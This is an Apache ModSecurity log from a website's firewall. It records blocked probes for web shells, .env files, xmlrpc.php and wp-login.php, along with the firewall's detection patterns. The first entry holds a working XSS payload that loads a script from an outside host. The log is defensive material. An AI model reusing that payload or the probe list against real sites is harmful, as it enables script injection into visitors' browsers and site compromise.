[Sun Apr 19 19:13:13.946358 2026] [:error] [pid 47886:tid 47893] [client 3.227.18.20:59298] [client 3.227.18.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\bon(?:abort|blur|change|click|dblclick|dragdrop|error|focus|keydown|keypress|keyup|load|mouse(?:down|move|out|over|up)|move|readystatechange|reset|resize|select|submit|unload)\\\\b[^a-zA-Z0-9_]{0,}?=" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "69"] [id "212750"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||gigfragments.org|F|2"] [data "Matched Data: onerror= found within REQUEST_URI: /?utm_source=<img src=x onerror=body.appendchild(document.createelement('script')).src='//beary.ink/w'>&utm_medium=social"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeS4yUSe8yiyuPrD7yNkuAAAAMU"]
[Sun Apr 19 19:19:30.884581 2026] [:error] [pid 15765:tid 15861] [client 182.44.10.67:44784] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeS6QvRqinw-W5EwQ77rygAAAog"]
[Sun Apr 19 19:43:07.988643 2026] [:error] [pid 15764:tid 15838] [client 200.152.177.16:57828] [client 200.152.177.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.177.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeS_y2LL_sqdSHoVp-TqxAAAAkw"]
[Sun Apr 19 19:47:13.716202 2026] [:error] [pid 15760:tid 15781] [client 147.135.252.148:40004] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeTAwfSdD_XHQMJ_ISv3PAAAAc0"]
[Sun Apr 19 19:47:15.810118 2026] [:error] [pid 15764:tid 15835] [client 147.135.252.148:43680] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeTAw2LL_sqdSHoVp-Ts3AAAAkk"]
[Sun Apr 19 19:47:17.687000 2026] [:error] [pid 15764:tid 15851] [client 147.135.252.148:36790] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeTAxWLL_sqdSHoVp-Ts4wAAAlg"]
[Sun Apr 19 19:47:19.550010 2026] [:error] [pid 15693:tid 15712] [client 147.135.252.148:36806] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeTAx8NMD-ccazQlTslQ4AAAAVA"]
[Sun Apr 19 19:47:21.604391 2026] [:error] [pid 15764:tid 15846] [client 147.135.252.148:36810] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeTAyWLL_sqdSHoVp-Ts6gAAAlQ"]
[Sun Apr 19 19:47:23.664321 2026] [:error] [pid 47772:tid 47797] [client 147.135.252.148:36818] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeTAy4c0L16cb4smAz-dFwAAAAg"]
[Sun Apr 19 19:47:25.706516 2026] [:error] [pid 47772:tid 47803] [client 147.135.252.148:36820] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeTAzYc0L16cb4smAz-dGwAAAA4"]
[Sun Apr 19 19:47:27.721137 2026] [:error] [pid 47773:tid 47819] [client 147.135.252.148:33558] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeTAz-iBHdnCJDuPq9AtYwAAAEM"]
[Sun Apr 19 19:47:29.771793 2026] [:error] [pid 47886:tid 47904] [client 147.135.252.148:33568] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeTA0USe8yiyuPrD7yNpaAAAANA"]
[Sun Apr 19 20:07:13.931963 2026] [:error] [pid 15693:tid 15713] [client 160.30.179.124:33944] [client 160.30.179.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aeTFccNMD-ccazQlTslTKwAAAVE"]
[Sun Apr 19 20:14:46.572481 2026] [:error] [pid 47772:tid 47797] [client 89.243.100.213:38617] [client 89.243.100.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.243.100.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeTHNoc0L16cb4smAz-lUwAAAAg"]
[Sun Apr 19 20:21:08.068592 2026] [:error] [pid 15760:tid 15771] [client 144.91.66.223:51920] [client 144.91.66.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.66.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeTItPSdD_XHQMJ_ISsGjwAAAcM"]
[Sun Apr 19 20:52:45.140900 2026] [:error] [pid 15760:tid 15773] [client 20.166.83.47:11147] [client 20.166.83.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.166.83.47, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeTQHfSdD_XHQMJ_ISsZuQAAAcU"]
[Sun Apr 19 20:52:56.322960 2026] [:error] [pid 15763:tid 15814] [client 20.166.83.47:11238] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aeTQKLMXv1Y1THOoxaDvbQAAAhI"]
[Sun Apr 19 20:52:57.853878 2026] [:error] [pid 15760:tid 15785] [client 20.166.83.47:11146] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aeTQKfSdD_XHQMJ_ISsZ3AAAAdE"]
[Sun Apr 19 20:52:58.674013 2026] [:error] [pid 15760:tid 15768] [client 20.166.83.47:11202] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aeTQKvSdD_XHQMJ_ISsZ4QAAAcA"]
[Sun Apr 19 20:52:59.339936 2026] [:error] [pid 15763:tid 15807] [client 20.166.83.47:11216] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aeTQK7MXv1Y1THOoxaDvdQAAAgs"]
[Sun Apr 19 20:53:00.379107 2026] [:error] [pid 15694:tid 15738] [client 20.166.83.47:11221] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aeTQLLimB-jol1fwqAoJYQAAAYw"]
[Sun Apr 19 20:53:01.212099 2026] [:error] [pid 47775:tid 47848] [client 20.166.83.47:11261] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aeTQLbmztjlk9tsmoewO6wAAAIU"]
[Sun Apr 19 20:53:02.021364 2026] [:error] [pid 15693:tid 15697] [client 20.166.83.47:11249] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aeTQLsNMD-ccazQlTslXlAAAAUE"]
[Sun Apr 19 20:53:02.851550 2026] [:error] [pid 15763:tid 15815] [client 20.166.83.47:11225] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aeTQLrMXv1Y1THOoxaDvggAAAhM"]
[Sun Apr 19 20:53:03.655786 2026] [:error] [pid 15760:tid 15792] [client 20.166.83.47:11230] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aeTQL_SdD_XHQMJ_ISsZ5AAAAdg"]
[Sun Apr 19 20:53:04.872298 2026] [:error] [pid 15763:tid 15803] [client 20.166.83.47:11214] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aeTQMLMXv1Y1THOoxaDvigAAAgc"]
[Sun Apr 19 20:53:05.645593 2026] [:error] [pid 47775:tid 47844] [client 20.166.83.47:11247] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aeTQMbmztjlk9tsmoewO-AAAAIE"]
[Sun Apr 19 20:53:07.033058 2026] [:error] [pid 15763:tid 15802] [client 20.166.83.47:11246] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aeTQM7MXv1Y1THOoxaDvjgAAAgY"]
[Sun Apr 19 20:53:07.931025 2026] [:error] [pid 15694:tid 15730] [client 20.166.83.47:11235] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeTQM7imB-jol1fwqAoJawAAAYQ"]
[Sun Apr 19 20:53:09.226250 2026] [:error] [pid 47772:tid 47802] [client 20.166.83.47:11241] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeTQNYc0L16cb4smAz-xygAAAA0"]
[Sun Apr 19 20:53:10.269201 2026] [:error] [pid 47886:tid 47897] [client 20.166.83.47:11141] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeTQNkSe8yiyuPrD7yNyJAAAAMk"]
[Sun Apr 19 20:53:11.731649 2026] [:error] [pid 47772:tid 47812] [client 20.166.83.47:11212] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeTQN4c0L16cb4smAz-x0QAAABc"]
[Sun Apr 19 20:53:12.654461 2026] [:error] [pid 15763:tid 15808] [client 20.166.83.47:11251] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeTQOLMXv1Y1THOoxaDvoAAAAgw"]
[Sun Apr 19 20:53:13.527139 2026] [:error] [pid 47772:tid 47800] [client 20.166.83.47:11215] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeTQOYc0L16cb4smAz-x1gAAAAs"]
[Sun Apr 19 20:53:15.140036 2026] [:error] [pid 15763:tid 15803] [client 20.166.83.47:11156] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeTQO7MXv1Y1THOoxaDvqwAAAgc"]
[Sun Apr 19 20:53:16.314066 2026] [:error] [pid 15763:tid 15800] [client 20.166.83.47:11181] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeTQPLMXv1Y1THOoxaDvtAAAAgQ"]
[Sun Apr 19 20:53:17.805540 2026] [:error] [pid 15764:tid 15843] [client 20.166.83.47:11204] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aeTQPWLL_sqdSHoVp-QHIQAAAlE"]
[Sun Apr 19 20:53:19.640895 2026] [:error] [pid 47773:tid 47838] [client 20.166.83.47:11137] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aeTQP-iBHdnCJDuPq9A6PgAAAFY"]
[Sun Apr 19 20:53:21.550777 2026] [:error] [pid 15764:tid 15845] [client 20.166.83.47:11169] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aeTQQWLL_sqdSHoVp-QHMAAAAlM"]
[Sun Apr 19 20:53:23.037076 2026] [:error] [pid 15763:tid 15798] [client 20.166.83.47:11242] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aeTQQ7MXv1Y1THOoxaDvvgAAAgI"]
[Sun Apr 19 20:53:24.840841 2026] [:error] [pid 15764:tid 15835] [client 20.166.83.47:11140] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "aeTQRGLL_sqdSHoVp-QHOgAAAkk"]
[Sun Apr 19 20:53:25.831113 2026] [:error] [pid 15760:tid 15785] [client 20.166.83.47:11248] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "aeTQRfSdD_XHQMJ_ISsZ-gAAAdE"]
[Sun Apr 19 20:53:27.335701 2026] [:error] [pid 47772:tid 47792] [client 20.166.83.47:11153] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "aeTQR4c0L16cb4smAz-x6wAAAAM"]
[Sun Apr 19 20:53:28.318733 2026] [:error] [pid 15764:tid 15839] [client 20.166.83.47:11255] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "aeTQSGLL_sqdSHoVp-QHQQAAAk0"]
[Sun Apr 19 20:53:29.480122 2026] [:error] [pid 15764:tid 15845] [client 20.166.83.47:11233] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "aeTQSWLL_sqdSHoVp-QHRwAAAlM"]
[Sun Apr 19 20:53:30.388072 2026] [:error] [pid 15760:tid 15789] [client 20.166.83.47:11149] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "aeTQSvSdD_XHQMJ_ISsaCgAAAdU"]
[Sun Apr 19 20:53:31.680236 2026] [:error] [pid 15763:tid 15815] [client 20.166.83.47:11244] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "aeTQS7MXv1Y1THOoxaDvxgAAAhM"]
[Sun Apr 19 20:53:32.776803 2026] [:error] [pid 47775:tid 47867] [client 20.166.83.47:11150] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blogs.php"] [unique_id "aeTQTLmztjlk9tsmoewPHgAAAJg"]
[Sun Apr 19 20:53:33.529002 2026] [:error] [pid 15763:tid 15811] [client 20.166.83.47:11164] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aeTQTbMXv1Y1THOoxaDvzAAAAg8"]
[Sun Apr 19 20:53:34.291898 2026] [:error] [pid 47773:tid 47816] [client 20.166.83.47:11180] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aeTQTuiBHdnCJDuPq9A6VAAAAEA"]
[Sun Apr 19 20:53:35.241916 2026] [:error] [pid 47773:tid 47840] [client 20.166.83.47:11228] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aeTQT-iBHdnCJDuPq9A6WQAAAFg"]
[Sun Apr 19 20:53:36.068542 2026] [:error] [pid 15760:tid 15788] [client 20.166.83.47:11077] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "aeTQUPSdD_XHQMJ_ISsaGAAAAdQ"]
[Sun Apr 19 20:53:36.890667 2026] [:error] [pid 15760:tid 15775] [client 20.166.83.47:11185] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aeTQUPSdD_XHQMJ_ISsaHgAAAcc"]
[Sun Apr 19 20:53:37.758155 2026] [:error] [pid 15760:tid 15783] [client 20.166.83.47:11234] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aeTQUfSdD_XHQMJ_ISsaJwAAAc8"]
[Sun Apr 19 20:53:38.598750 2026] [:error] [pid 15764:tid 15848] [client 20.166.83.47:11257] [client 20.166.83.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aeTQUmLL_sqdSHoVp-QHWQAAAlY"]
